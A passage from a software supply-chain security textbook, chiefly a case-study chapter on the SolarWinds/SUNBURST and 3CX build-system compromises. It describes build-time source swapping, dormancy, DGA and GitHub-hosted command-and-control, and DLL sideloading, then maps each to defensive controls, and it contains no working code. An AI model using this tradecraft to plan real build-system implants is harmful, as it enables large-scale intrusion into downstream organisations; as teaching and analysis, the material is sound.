- A. Birsan, "Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies" (2021): <https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610>
- CISA — Alert AA20-352A (SolarWinds/SUNBURST) and the SolarWinds/SUNSPOT technical analyses (CrowdStrike, FireEye/Mandiant).

- Andres Freund, oss-security disclosure of the xz-utils backdoor (CVE-2024-3094), March 2024: <https://www.openwall.com/lists/oss-security/2024/03/29/4>
- Codecov post-incident report on the Bash Uploader compromise (2021).
- NIST SP 800-161r1 — "Cybersecurity Supply Chain Risk Management Practices for Systems and Organizations."
- OpenSSF / SLSA supplementary material on threat modeling and the "Great MFA Distribution" of the npm ecosystem, for context on account-takeover countermeasures.

Chapter 3 — Case Studies I: Build System Compromise — SolarWinds and 3CX

What this chapter covers. This is the first of three case-study chapters, and it deals with the highest-leverage attack in the entire supply chain: compromise of the build system itself. When an adversary owns the machine that turns source into shipped binaries, they inherit every downstream trust relationship the vendor has spent years earning. The source in version control stays clean. The code review passes. The signing key signs faithfully. The customer's update client verifies the signature and installs, exactly as designed. Nothing along the way is technically malfunctioning — and that is the point. We examine two incidents in depth: **SolarWinds / SUNBURST** (2019-2020), still the reference example of a build-time software implant, and **3CX** (2023), the first widely documented *cascading* supply chain attack, where one build compromise seeded another.

Learning goals — after this chapter you should be able to:

- Reconstruct the SolarWinds intrusion timeline and explain, at the level of process mechanics, how the SUNSPOT implant tampered with Orion builds without touching source control.
- Describe SUNBURST's operational design — dormancy, domain-generation-algorithm (DGA) command-and-control, victim profiling,

and staged hands-on-keyboard follow-on — and why each choice served the attacker's goals.

- Articulate precisely *why* code review, code signing, and vendor trust all failed to detect the compromise, and what a code signature does and does not prove.
- Explain the 3CX cascade (X_TRADER → 3CX → 3CX's customers) and the EDR false-positive-dismissal failure mode.
- Compare the two campaigns on dwell time, targeting, and tradecraft, and identify which controls — reproducible builds, provenance, build isolation, egress control, binary transparency — would plausibly have caught each.
- Reason about your own organization as *both* a consumer of vendor build outputs and a producer whose build farm is somebody else's SolarWinds.

A note on accuracy before we begin. Both incidents were investigated in public by multiple credible teams — Mandiant/FireEye, CrowdStrike, Microsoft, and government agencies for SolarWinds; CrowdStrike, SentinelOne, Mandiant, and Kaspersky for 3CX. Where those reports agree, this chapter states facts plainly. Where a detail is disputed, uncertain, or was never disclosed, the text says so rather than inventing precision. No quotes, CVE numbers, or figures appear here that were not published by those investigators.

The build system as the apex target

Recall the anatomy from Chapter 1: source is authored, dependencies are resolved, a build system compiles and links, artifacts are signed and packaged, and a distribution channel delivers them to consumers who verify and install. An attacker can strike at any stage, and Chapters 4 and 5 examine strikes on dependencies and on source. The build stage is special because it sits *after* the controls most organizations invest in — code review, branch protection, commit signing — and *before* the controls customers rely on — signature verification and vendor reputation. It is the one place where you can inject code that is simultaneously invisible to the producer's own developers and fully trusted by the producer's customers.

Chapter 2's taxonomy called this the **build/CI compromise** class. Its defining property is trust inheritance. A signed release is a statement:

"this artifact was produced by the holder of this key." Customers reasonably treat that as "this artifact is what the vendor intended to ship." The gap between those two statements — between *provenance of the signer* and *integrity of the build* — is exactly the gap SolarWinds and 3CX drove through. Both are unusually instructive because the adversaries were disciplined, well-resourced nation-state teams who understood that gap and engineered specifically to live inside it.

SolarWinds: the intrusion timeline

SolarWinds is a Texas-based vendor of IT management software. Its Orion platform is a suite for network and infrastructure monitoring, deployed deep inside enterprise and government networks — precisely the kind of software that holds broad credentials and talks to everything, which made it an ideal beachhead.

The publicly reconstructed timeline, drawn from SolarWinds' own disclosures, Mandiant's investigation, and CrowdStrike's SUNSPOT analysis, runs roughly as follows:

- **Around September 2019:** the actor gained access to the SolarWinds environment. The exact initial access vector was never conclusively established in public reporting; theories included compromised credentials and internet-facing systems, but SolarWinds and its investigators did not definitively confirm the first foothold.
- **October 2019:** investigators found evidence of a *trial* modification — the attackers injected benign test code into an Orion build to prove they could alter build output without detection, then watched to see whether anyone noticed. Nobody did. This reconnaissance run is a hallmark of a patient, professional operation.
- **February 20, 2020:** according to CrowdStrike, the **SUNSPOT** implant was deployed onto a SolarWinds build server. SUNSPOT is the tool that performed the actual source-swap during compilation (detailed in the next section).
- **March-June 2020:** trojanized Orion builds carrying the **SUNBURST** backdoor were compiled, signed, and released. The affected versions span roughly Orion Platform 2019.4 HF5 through 2020.2.1, distributed as normal software updates through SolarWinds' update infrastructure.

- **June 2020:** the attackers removed SUNBURST from the build environment, ending the trojanized-build window before discovery. They had operated cleanly for months.
- **December 8, 2020:** FireEye (whose consulting arm is Mandiant) disclosed that it had been breached and that its internal Red Team tooling had been stolen. Investigating its own compromise led FireEye to the Orion vector.
- **December 13, 2020:** FireEye and SolarWinds publicly disclosed the SUNBURST backdoor in Orion. CISA issued Emergency Directive 21-01 the same week ordering U.S. federal agencies to disconnect or power down affected Orion products.
- **January 5, 2021:** a joint statement by the Cyber Unified Coordination Group (FBI, CISA, ODNI, with NSA support) assessed the actor as "likely Russian in origin."
- **April 15, 2021:** the U.S. government formally attributed the operation to Russia's foreign intelligence service, the **SVR** — the actor tracked across industry as **APT29 / Cozy Bear**, by Mandiant at the time as **UNC2452**, and by Microsoft as **Nobelium** (later renamed **Midnight Blizzard**).

Roughly **18,000** SolarWinds customers are believed to have downloaded and installed a trojanized Orion update. That figure is the *exposure*, not the *exploitation*: of those, the attackers hand-selected on the order of **100** organizations for active, hands-on-keyboard intrusion. Publicly named victims included multiple U.S. federal departments (among them the Treasury, Commerce, State, Energy, Homeland Security, and the National Institutes of Health), as well as Microsoft and FireEye itself. The mismatch between 18,000 and 100 is not sloppiness — it is the design, and we return to it below.

SUNSPOT: subverting the compiler

SUNSPOT is the most interesting artifact in the whole affair, because it is a purpose-built tool for tampering with a build *without leaving a trace in source control*. CrowdStrike's analysis (published January 11, 2021) describes its mechanics; the summary here follows that report.

SUNSPOT ran on the build server as a persistent implant. Its job was to wait for an Orion build to happen and hijack it. The relevant facts:

- **It monitored for `MsBuild.exe`.** SolarWinds built Orion with MSBuild, Microsoft's build engine. SUNSPOT periodically enumerated running processes looking for MSBuild instances.
- **It identified Orion builds specifically.** When it found an MSBuild process, it read that process's command line to determine whether the build in progress was the Orion Core solution — not just any build on the machine, but the specific target the operation cared about.
- **It swapped a single source file during compilation.** Having identified an Orion build, SUNSPOT located the relevant source file in the checked-out working tree — the file publicly identified as `InventoryManager.cs` — and replaced it with a malicious version containing the SUNBURST backdoor code. The compiler then compiled the *attacker's* version of that file into the Orion assembly.
- **It restored the original immediately afterward.** Once compilation of the tampered file had been consumed by the build, SUNSPOT wrote the legitimate source back to disk. The window during which malicious source existed on the filesystem was as short as the design allowed.

SUNSPOT was written defensively. It performed hash checks to confirm the source file it was about to replace matched the version it expected; if the developers had changed `InventoryManager.cs`, the mismatch would cause SUNSPOT to abort rather than risk producing a broken build that would draw attention. It watched for compilation errors so that a failed build — a very visible event — would not be triggered by its tampering. It used a named mutex to avoid running twice concurrently. Every one of those choices is about *not getting caught*: a failed or non-deterministic build is exactly the anomaly that a build engineer investigates.

The consequence is the crux of the entire case:

The malicious code never existed in SolarWinds' version control system. It existed only on the build server, only for the seconds between file-swap and restore, and only inside the resulting signed binary. Every artifact a developer could inspect — the Git history, the pull requests, the source in the IDE — was clean.

```
sequenceDiagram
    participant Dev as Developer / SCM
    participant Build as Build server (checked-out tree)
    participant SS as SUNSPOT implant
    participant MSB as MsBuild.exe
    participant Sign as Signing / release
    Dev->>Build: Check out clean Orion source
    SS->>SS: Poll process list for MsBuild.exe
    MSB->>Build: Start compiling Orion Core solution
    SS->>MSB: Read command line, confirm Orion build
    SS->>Build: Verify InventoryManager.cs hash matches expected
    SS->>Build: Replace InventoryManager.cs with SUNBURST version
    MSB->>Build: Compile tampered source into assembly
    SS->>Build: Restore original InventoryManager.cs
    MSB->>Sign: Emit SolarWinds.Orion.Core.BusinessLayer.dll
    Sign->>Sign: Code-sign with valid SolarWinds certificate
    Sign->>Dev: Ship signed update through official channel
    Note over Dev,Sign: Source in SCM is clean; tampering lives only in the signed output
```

Two design lessons for a build-platform engineer fall out of this diagram immediately. First, the attack targets the *gap between source and artifact*: any control that verifies "the artifact corresponds to this reviewed source" would have had a chance; controls that verify only the source, or only the signer, had none. Second, the build machine was a long-lived, stateful host that an implant could persist on and observe over months. A build node that is ephemeral — created fresh per build, destroyed after — denies an implant the foothold SUNSPOT relied on. Both threads are picked up in the synthesis and in Book 4.

SUNBURST: dormancy, DGA C2, and staged victim selection

The code SUNSPOT injected became **SUNBURST** (Microsoft's name; also **Solorigate**), compiled into `SolarWinds.Orion.Core.BusinessLayer.dll` and shipped inside Orion. Its runtime behavior is a study in patience and blending in.

Dormancy. After installation, SUNBURST did nothing for a substantial delay — publicly reported as roughly **12 to 14 days**. A backdoor that phones home the moment an update lands is easy to correlate with that update. A backdoor that waits two weeks breaks the temporal link that a defender's timeline analysis depends on.

Environmental checks and blending in. On waking, SUNBURST performed reconnaissance before doing anything overt: it checked for analysis and security tooling, examined the domain it was running in, and confirmed it was in a real target rather than a sandbox or a security researcher's lab. Its network traffic was designed to look like legitimate Orion telemetry — it mimicked the **Orion Improvement Program (OIP)** protocol and stored/retrieved data in files resembling normal Orion configuration, so its C2 chatter hid inside traffic a network defender would expect Orion to generate.

DGA-based command and control. SUNBURST located its controllers using a **domain generation algorithm**. Rather than hard-coding a C2 domain (which a defender can block once and for all), it encoded victim-identifying information into DNS subdomain labels under the parent domain `avsvmcloud.com` and resolved them. The DNS response steered the implant: most victims were told, in effect, to stand down; a chosen few were escalated. Because the generated subdomain encoded a hash derived from the victim's environment, the attackers could *profile who had called home* purely from passive DNS — and decide, per victim, whether to proceed. (This DGA/DNS channel is also what enabled the eventual sinkholing of `avsvmcloud.com` once it was identified.)

Staged, hands-on-keyboard follow-on. For the small set of high-value victims selected from the ~18,000, the attackers escalated from the automated backdoor to interactive intrusion. SUNBURST delivered a memory-only dropper — **TEARDROP**, and a related loader **Raindrop** documented by Symantec — which loaded a customized **Cobalt Strike Beacon**. From there the operation was manual: credential theft, lateral movement, and in cloud and identity environments, forging SAML tokens (the "Golden SAML" technique) to move into Microsoft 365 and Azure AD. The Orion backdoor was only the front door.

```

flowchart TD
    A["Trojanized Orion update  
signed, official channel"] --> B["~18,000 customers install"]
    B --> C["SUNBURST dormant ~12–14 days"]
    C --> D["Environment & sandbox checks"]
    D --> E["DGA: resolve avsvmcloud.com subdomain  
encoding victim identity"]
    E --> F["Attacker decision  
per victim"]
    F --> G["Not interesting"]
    F --> H["High value (~100)"]
    G --> I["TEARDROP / Raindrop dropper"]
    H --> J["Cobalt Strike Beacon"]
    J --> K["Credential theft, lateral movement,  
Golden SAML into cloud identity"]

```

The 18,000-versus-100 gap is now legible as strategy. Mass distribution maximizes the number of doors the attacker *could* open; selective activation minimizes the operational footprint, noise, and exposure of opening them. Every activated implant is a chance to be caught. A disciplined intelligence operation spends that risk only where the intelligence payoff justifies it. This is the opposite of ransomware economics, where breadth is the payoff, and it tells you what kind of adversary you are dealing with.

Why it defeated the era's controls

It is tempting to read SolarWinds as a story of negligence. That reading is comforting and mostly wrong. The uncomfortable truth is that the controls organizations were told to implement in 2020 were, in this case, working as designed and still lost. Walk through them:

Code review saw clean source. Review operates on what is in the repository. SUNSPOT never put anything in the repository; the malicious `InventoryManager.cs` existed only transiently on the build host during compilation. There was nothing for a reviewer to catch, no diff to reject. Static analysis of the source tree would have found nothing either, because the source tree was authentic.

The signing infrastructure faithfully signed malicious output. SolarWinds signed the trojanized `SolarWinds.Orion.Core.BusinessLayer.dll` with its genuine, valid code-signing certificate. The signature was not forged and the key was not (as

far as public reporting established) stolen — the build pipeline handed the signer a malicious binary and the signer did its job. To every customer, Windows Authenticode reported a valid signature from SolarWinds, because it *was* a valid signature from SolarWinds.

Customers had no provenance to check. The vendor-trust model of the era was binary: is this update signed by the vendor I bought the product from? Yes → install. There was no notion a customer could verify of *how* the artifact was built — no statement that "this binary was produced by this build pipeline, from this specific source commit, under these conditions." Even a security-conscious customer had nothing to inspect between "valid vendor signature" and "trust." The information needed to catch the attack did not exist in any form the customer could obtain.

This is the single most important idea in the chapter, and it generalizes far beyond SolarWinds:

A code signature answers **who built it**, not **whether the build was honest**. It binds an artifact to an identity. It says nothing about the integrity of the process that produced the artifact. When the build system is the thing that is compromised, the signature is not a defense — it is the mechanism by which the compromise is laundered into something customers trust.

Every subsequent chapter of this suite that talks about *provenance* (SLSA in Book 4, attestations and in-toto in Book 5) exists to close this specific gap: to make the honesty of the build itself a verifiable property, distinct from the identity of the signer.

Aftermath: regulation, enforcement, and an industry

SolarWinds did more than compromise its victims; it reset the policy and market landscape.

Executive Order 14028. On **May 12, 2021**, the White House issued EO 14028, "Improving the Nation's Cybersecurity." It directed NIST to produce secure-software-development guidance and pushed software bill of materials (SBOM) requirements and secure development practices into the federal procurement process. The Order's software-supply-chain provisions were a direct policy response to SolarWinds, and they are what put SBOMs and the NIST Secure Software Development Framework

(SSDF, NIST SP 800-218) on the roadmap of essentially every vendor selling to the U.S. government. EO 14028 and its downstream guidance are treated in Book 8, Chapter 1 — The Regulatory Landscape.

SEC enforcement. On **October 30, 2023**, the U.S. Securities and Exchange Commission charged SolarWinds and its Chief Information Security Officer, Timothy Brown, with fraud and internal-control failures related to disclosures about the company's cybersecurity posture — a landmark in that it named an individual security executive. The case was legally contested: in **July 2024**, a federal judge dismissed most of the SEC's claims, allowing only a narrower set to proceed. The lasting significance for practitioners is less the legal outcome than the signal it sent to boards — that security representations and controls are now matters of securities-law exposure, which changed how CISOs document risk.

The birth of an industry. SolarWinds is, more than any single incident, what turned "software supply chain security" from a niche research interest into a funded product category and a board-level concern. SLSA (published by the Open Source Security Foundation in 2021), Sigstore's rapid adoption, the SBOM tooling ecosystem, and the reframing of build systems as tier-0 infrastructure all accelerated sharply in its wake. Much of what the rest of this suite describes is, historically, a reaction to this one campaign.

3CX: the first documented cascade

If SolarWinds proved a nation-state could weaponize a vendor's build, the **3CX** incident of 2023 proved something newer and, in a sense, worse: that a supply chain attack can be *seeded by another supply chain attack*. It is the first widely documented **cascading** compromise — one trojanized vendor product used to breach a second vendor, whose trojanized product then reached that vendor's own customers.

3CX makes a widely used VoIP/PBX software phone. Its desktop client, **3CXDesktopApp**, is deployed across large numbers of businesses. In late March 2023, CrowdStrike, SentinelOne, and Sophos began flagging malicious behavior originating from the *signed, legitimately distributed* 3CXDesktopApp — behavior their telemetry tied to the vendor's own software, not to a third-party intruder. 3CX publicly confirmed the compromise on **March 30, 2023**, and engaged Mandiant to investigate.

How the outer compromise began. Mandiant's investigation reached a striking conclusion: 3CX was itself breached through a supply chain attack. An employee downloaded and ran a trojanized installer of **X_TRADER**, a trading application from **Trading Technologies**. The X_TRADER installer had been backdoored (carrying a malware family Mandiant tracked in this campaign, with the backdoor stage often referred to as VEILED SIGNAL) and was distributed from a site associated with Trading Technologies — even though X_TRADER had reportedly been discontinued years earlier, the installer remained available to download. Running it gave the attacker a foothold on the employee's machine; from there they moved laterally into 3CX's network and, ultimately, into its **build environment**.

How the inner compromise worked. With access to 3CX's build environment, the attacker produced trojanized 3CXDesktopApp builds for **both Windows and macOS**, distributed through 3CX's normal update mechanism and signed with 3CX's valid certificates. On Windows, the malicious MSI shipped tampered, sideloaded DLLs — publicly identified as `ffmpeg.dll` and `d3dcompiler_47.dll`. The technique is DLL sideloading: the legitimate application loads a DLL by name from its own directory, and the attacker replaces that DLL (or a companion it loads) with a malicious one. Here `ffmpeg.dll` loaded shellcode from `d3dcompiler_47.dll`, where an encrypted payload had been appended to an otherwise valid-looking file. That payload, tracked as **SUDDENICON**, retrieved a further stage.

The GitHub-hosted C2 configuration. SUDDENICON's next-stage location was not hard-coded as a bare domain; it read encrypted command-and-control configuration from **icon (.ico) files hosted in a GitHub repository** (published under an account named IconStorages). The icon files rendered as ordinary images, but carried base64-encoded, encrypted data appended after the image content. Using GitHub as a dead-drop for C2 config is a blending-in choice directly analogous to SUNBURST hiding inside OIP traffic: outbound HTTPS to GitHub from a developer or IT machine is unremarkable. GitHub removed the repository once it was identified. Final-stage activity included an information stealer; Kaspersky separately reported a backdoor it named **Gopuram** deployed to a subset of victims, notably cryptocurrency-related companies — consistent with the actor's financial motivation.

Attribution. Mandiant attributed the 3CX intrusion to a cluster it tracked as **UNC4736**, assessed with links to North Korean state actors — part of the broader activity grouped under the **Lazarus** umbrella, and specifically consistent with the DPRK's long-running, financially motivated **AppleJeus** campaigns against cryptocurrency and financial targets. Unlike SolarWinds' espionage mission, 3CX's ultimate objective appears to have skewed toward financial theft.

flowchart TD

```
A["Trading Technologies site hosts  
trojanized X_TRADER installer"] --> B["3CX employee downloads & runs  
it"]
B --> C["Backdoor foothold on employee host"]
C --> D["Lateral movement into 3CX network"]
D --> E["Access to 3CX build environment"]
E --> F["Trojanized 3CXDesktopApp built  
Windows MSI + macOS, signed by 3CX"]
F --> G["Sideloaded ffmpeg.dll + d3dcompiler_47.dll  
→ SUDDENICON"]
G --> H["Fetch encrypted C2 config from  
.ico files on GitHub"]
H --> I["Info-stealer; Gopuram to select  
(e.g., crypto) victims"]
I --> J["Pushed to 3CX customers  
via official update channel"]
J --> G
```

The EDR false-positive-dismissal failure mode. There is a specific operational lesson in how 3CX was — and was not — caught. Endpoint detection and response (EDR) products *did* flag 3CXDesktopApp's behavior. But because the alerts named a signed, trusted, widely deployed business application, some users and administrators treated them as false positives. In 3CX's own community forums, early reports of security tools flagging the client were, initially, met with skepticism and workaround advice rather than escalation. This is a general and dangerous pattern: a signed binary from a known vendor enjoys a *reputational halo* that biases analysts toward dismissing true positives about it. The very trust that made the attack work also suppressed the signal that could have shortened it. When your detection tooling flags a trusted vendor's signed software, "it's signed, it must be fine" is precisely the reasoning the attacker is counting on.

Synthesis: comparing the two campaigns

Strip away the specifics and both campaigns share one structure:

1. **Implant the build.** Gain persistent influence over the environment that turns source into artifacts (SUNSPOT on a SolarWinds build server; access to 3CX's build environment).
2. **Inherit the vendor's trust.** Produce artifacts that are, in every checkable respect, the vendor's genuine output.
3. **Sign the result.** Let the vendor's real signing process bless the malicious artifact, laundering it into something customers verify and accept.
4. **Distribute through the official channel.** Ship via the same update mechanism customers already trust and have whitelisted.

The differences are equally instructive:

Dimension	SolarWinds / SUNBURST	3CX
Actor	Russian SVR (APT29 / Nobelium / Midnight Blizzard)	DPRK-linked (UNC4736, Lazarus / AppleJeus)
Primary motive	Espionage	Financial (with espionage tradecraft)
Build tampering	SUNSPOT swaps source file during MSBuild compilation	Trojanized build env emits tampered signed installers
Initial access	Never conclusively established publicly	Cascading: trojanized X_TRADER installer
Cascade	No (direct vendor compromise)	Yes — first widely documented cascade
Approx. exposure	~18,000 installs of trojanized Orion	Large 3CXDesktopApp install base
Targeting	~100 selected for hands-on-keyboard follow-on	Broad delivery; select escalation (e.g., crypto firms)
Dwell time	Access ~Sept 2019; trojanized builds Mar-Jun 2020; found Dec 2020	Access weeks-to-months prior; found late Mar 2023

Dimension	SolarWinds / SUNBURST	3CX
C2 tradecraft	DGA under avsvmcloud.com; OIP-mimicking traffic	Encrypted config in GitHub-hosted .ico files
Follow-on	TEARDROP/Raindrop → Cobalt Strike; Golden SAML	SUDDENICON → info-stealer; Gopuram to select victims
Signature status	Valid SolarWinds Authenticode signature	Valid 3CX signatures (Windows + macOS)

The two most consequential contrasts are **dwelt time** and **cascade**. SolarWinds' dwelt — over a year from initial access to public discovery, with clean trojanized builds shipping for roughly three months and the implant then withdrawn before anyone noticed — reflects an espionage actor optimizing for stealth and longevity. 3CX's cascade is the genuinely new element: it collapses the tidy mental model in which "our vendors" are a fixed, auditable set. Trading Technologies was not 3CX's vendor in any procurement sense; X_TRADER was software an individual employee happened to run. Yet it was the entry point. Your effective supply chain includes not just what your organization buys, but what runs on the machines of the people who build what you buy — recursively, all the way down.

What would have caught it

No single control would have stopped both campaigns, but several would have raised the attacker's cost or created a detection opportunity. Each is developed in later books; the point here is to connect the failure to the fix.

Reproducible builds and verified provenance. A **reproducible build** is one where the same source, deterministically, yields a bit-for-bit identical artifact. If SolarWinds — or an independent party — had rebuilt Orion from the tagged source commit and compared hashes, the SUNSPOT-tampered binary would not have matched the binary a clean rebuild produced, because the tampering existed only in the build, not the source. Reproducibility turns "trust the build server" into "verify the artifact against the source," and it is exactly the property SUNSPOT was engineered to keep out of anyone's reach. **Provenance** — a signed, verifiable statement of what source, what builder, and what parameters

produced an artifact — is the customer-facing half: with SLSA-style provenance, a customer could ask "was this built by the expected pipeline from the expected commit?" rather than merely "is it signed?" Reproducible and hermetic builds are the subject of Book 4, Chapter 2; SLSA provenance is Book 4, Chapter 3.

Build isolation and integrity monitoring. SUNSPOT depended on a long-lived, stateful build host it could persist on and observe over months. **Ephemeral build environments** — a fresh, immutable, minimal environment created per build and destroyed after — deny an implant that foothold; there is no persistent process to poll for `MsBuild.exe` across builds. Integrity monitoring on the build host (file-integrity monitoring, process allow-listing) would at least have made a persistent implant and mid-build file-swaps into observable events. Ephemeral and isolated build environments are Book 4, Chapter 8.

Egress control on build machines. Build machines should talk to a small, known set of destinations: source, artifact repositories, and package mirrors. A build host — or a build-adjacent implant — reaching out to novel domains is a strong anomaly. Strict egress allow-listing would not by itself have stopped the source-swap, but it constrains both the implant's ability to be updated and, more broadly, the class of exfiltration and staging channels the operation relies on. Build observability and anomaly detection are Book 4, Chapter 9.

Binary transparency. Borrowing from Certificate Transparency, **binary transparency** publishes an append-only, publicly verifiable log of the artifacts a vendor releases. It does not by itself prove a build was honest, but it removes the attacker's ability to serve a tampered artifact to a subset of victims quietly, and it gives defenders and researchers a durable, tamper-evident record to audit against. Transparency logs — the Merkle-tree mechanics, Rekor, and the lessons from Certificate Transparency — are Book 5, Chapter 5.

For 3CX specifically, the same provenance and reproducibility controls apply to 3CX's own builds. And the *cascade* points at a further discipline: treating the software your engineers run on build-adjacent and privileged workstations as part of your attack surface — application allow-listing, and not running discontinued, unmaintained third-party tools like a years-abandoned X_TRADER on machines that can reach your build network. Finally, the false-positive dismissal is a process fix, not a technology one: EDR alerts on signed vendor software must be escalated and

investigated, not waved off because the binary carries a reputable signature.

Distributed-systems lens

For a senior engineer running large backend systems, the operative reframing is this: **your organization sits on both sides of every one of these incidents at once.**

You are a **consumer**. Every vendor agent, every observability collector, every IT-management tool, every base image and CI plugin you pull is in *your* supply chain the moment it runs inside your perimeter — exactly as Orion was in the chains of 18,000 organizations that never thought of SolarWinds as part of their build. A software phone client or a discontinued trading app is not obviously "supply chain" until it is the thing that owns you. The consumer-side obligations that follow are concrete: maintain an inventory of what runs where and with what privileges; prefer vendors who publish verifiable provenance and who can tell you what commit and pipeline produced a given release; and treat EDR detections on signed third-party software as first-class incidents rather than noise. Do not grant a monitoring agent broad credentials and network reach without asking what happens when *its* build is the one that was compromised.

You are also a **producer**. If you operate an internal build farm, a platform team's shared CI, or a base-image factory, then to every team and service downstream of you, **your build system is somebody's SolarWinds**. A compromise of your central build platform inherits the trust of every service it produces, and in a large organization that blast radius can be the entire fleet. The implication is organizational, not just technical: **build infrastructure is a tier-0, production-critical system** and must be governed like one. That means the same rigor you apply to your most sensitive production database — least-privilege access, mandatory review for changes, immutable and ephemeral runners, strict egress, integrity monitoring, and break-glass procedures — applied to the pipeline itself. In too many organizations the build farm is treated as internal plumbing that any engineer can modify, running on long-lived hosts with broad network access and weak auditing. That is precisely the SolarWinds build server's threat profile.

There is a scale multiplier that makes this sharper for distributed backends than for a single-product vendor. SolarWinds compromised one product's build. A modern platform team's CI compromise can, in a single stroke, poison the artifacts of hundreds of microservices across dozens of teams — a fan-out SolarWinds never had. The centralization that makes a shared build platform efficient is the same centralization that makes it catastrophic to lose. High deploy frequency compounds it: a poisoned build promoted through an automated CD pipeline can reach production in minutes, across many services, before any human looks. The controls in Book 4 — provenance, hermeticity, ephemerality, egress control, observability — are not compliance theater for such an organization; they are the difference between a contained incident and a fleet-wide one.

The through-line from SolarWinds to 3CX to your own platform is a single sentence: **trust in an artifact should derive from verifiable properties of how it was built, not from the identity of who signed it or the reputation of who shipped it.** Building the machinery to make "how it was built" verifiable — for the software you consume and the software you produce — is the subject of nearly everything that follows.

Key takeaways

- The build system is the apex target because it sits after the producer's own review and signing controls and before the consumer's verification controls. Compromising it lets an attacker inject code that is invisible to the vendor's developers and fully trusted by the vendor's customers.
- SUNSPOT tampered with SolarWinds' Orion builds by monitoring for `MsBuild.exe`, confirming an Orion build, swapping `InventoryManager.cs` for a SUNBURST-carrying version during compilation, then restoring the original — so source control stayed clean and the tampering lived only in the signed binary.
- SUNBURST was engineered for stealth: ~12-14 days dormancy, DGA C2 under `avsvmcloud.com`, OIP-mimicking traffic, per-victim profiling, and hands-on-keyboard follow-on (TEARDROP/ Raindrop → Cobalt Strike) for only ~100 of ~18,000 exposed organizations.
- Code review, code signing, and vendor trust all failed *while working as designed*. A code signature proves **who built it**, not **that the**

build was honest; closing that gap requires verifiable build provenance, which did not exist for customers to check.

- SolarWinds reset policy and markets: EO 14028 (May 12, 2021), SEC charges against SolarWinds and its CISO (October 30, 2023, with most claims dismissed in July 2024), and the emergence of the modern supply chain security industry.
- 3CX (disclosed March 30, 2023) is the first widely documented cascading attack: a trojanized X_TRADER installer breached 3CX, whose compromised build environment then shipped trojanized, signed 3CXDesktopApp (sideloaded `ffmpeg.dll / d3dcompiler_47.dll` → SUDDENICON, C2 config in GitHub-hosted `.ico` files) to its customers. Attributed to DPRK-linked UNC4736 (Lazarus / AppleJeus).
- 3CX also illustrates the EDR false-positive-dismissal failure mode: alerts against a signed, trusted vendor binary were initially waved off, letting the reputational halo of a valid signature suppress a true positive.
- Reproducible builds, verified provenance, ephemeral/isolated build environments, egress control on build hosts, and binary transparency each would have raised the attacker's cost or created detection opportunities — and each is developed later (Book 4, Chapters 2-3, 8-9; Book 5, Chapter 5).
- Your organization is both a consumer (vendor agents and tools are in *your* chain) and a producer (your build farm is someone's SolarWinds, with a fan-out across many services a single vendor never had). Treat build infrastructure as tier-0, production-critical infrastructure.

Further reading

- CrowdStrike, "SUNSPOT: An Implant in the Build Process" (January 11, 2021) — the primary technical account of the build-time source-swap mechanism.
- FireEye / Mandiant, "Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims with SUNBURST Backdoor" (December 13, 2020) — original SUNBURST disclosure and analysis.

- Microsoft, "Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack" (December 18, 2020) and subsequent Nobelium/Midnight Blizzard write-ups.
- Symantec Threat Hunter Team, "Raindrop: New Malware Discovered in SolarWinds Investigation" (January 18, 2021).
- CISA Emergency Directive 21-01, "Mitigate SolarWinds Orion Code Compromise" (December 2020).
- U.S. Government joint statements attributing the SolarWinds campaign to the Russian SVR (Cyber Unified Coordination Group, January 5, 2021; White House, April 15, 2021).
- Executive Order 14028, "Improving the Nation's Cybersecurity" (May 12, 2021), and NIST SP 800-218, the Secure Software Development Framework (SSDF).
- U.S. SEC litigation release and complaint, SEC v. SolarWinds Corp. and Timothy G. Brown (October 30, 2023), and the July 2024 court order dismissing most claims.
- Mandiant, "3CX Software Supply Chain Compromise Initiated by a Prior Software Supply Chain Compromise" (April 20, 2023) — the X_TRADER cascade and UNC4736 attribution.
- SentinelOne, "SmoothOperator" 3CX supply chain analysis (March 2023), and CrowdStrike's intelligence reporting on the 3CXDesktopApp intrusion (late March 2023).
- Kaspersky, "Gopuram backdoor deployed through 3CX supply chain attack" (April 3, 2023).

- SLSA (Supply-chain Levels for Software Artifacts), v1.0 specification — forward reference for the provenance model that addresses the build-integrity gap (see Book 4, Chapter 3). ``

Chapter 4 — Case Studies II: Dependency Attacks — event- stream, ua-parser-js, node-ipc, PyTorch

What this chapter covers. This is the second of three case-study chapters. Chapter 3 dealt with compromise of a vendor's *build system* — the apex target, where an attacker inherits a vendor's entire trust chain. This chapter deals with the channel that reaches victims far more frequently and far more cheaply: the **open-source dependency graph**. Every service you run resolves a tree of transitive packages from a public registry — npm, PyPI, and their peers — and executes whatever code those packages contain, at install time and at runtime, with the privileges of whoever ran `npm install` or `pip install`. That resolution is automatic, it is deep, and almost nobody reads what it pulls. We examine four incidents that abused this channel through four *different* mechanisms: **event-stream** (2018), a maintainer handoff exploited to plant a targeted payload; **ua-parser-js** (2021), a maintainer-account takeover that shipped crypto-mining and credential-stealing install scripts; **node-ipc** (2022), a legitimate maintainer weaponizing his own package as protestware; and the **PyTorch / torchtriton** incident (2022), a dependency-confusion attack that exploited how Python's package resolver prioritizes indexes. The point of putting them side by side is that they share almost no technical mechanism — and yet all four reached victims because a package manager did exactly what it was designed to do.

Learning goals — after this chapter you should be able to:

- Explain the maintainer-handoff and transitive-dependency dynamics behind event-stream, and how a payload can be *targeted* to decrypt and activate only inside one specific victim's build.

- Describe how an npm account takeover (ua-parser-js) turns install-time lifecycle scripts (`preinstall` / `postinstall`) into arbitrary code execution on every consumer's machine, and why download count is a proxy for blast radius.
- Articulate why "protestware" like node-ipc is a distinct and uncomfortable category — the *legitimate owner* turning a package malicious — and why that specific case defeats signing and provenance rather than being caught by them.
- Trace the index-resolution logic behind the PyTorch dependency-confusion attack and explain precisely why mixing a private index with public PyPI, without isolation, is dangerous by default.
- Compare the four incidents on attacker type, abused channel, and effective control, and map each to the concrete mitigations — lockfiles with integrity hashes, `--ignore-scripts`, index isolation, dependency review, and provenance — that would have mattered.
- Reason about all of this at fleet scale, where thousands of transitive dependencies span hundreds of services and a single popular package's compromise is a fan-out event.

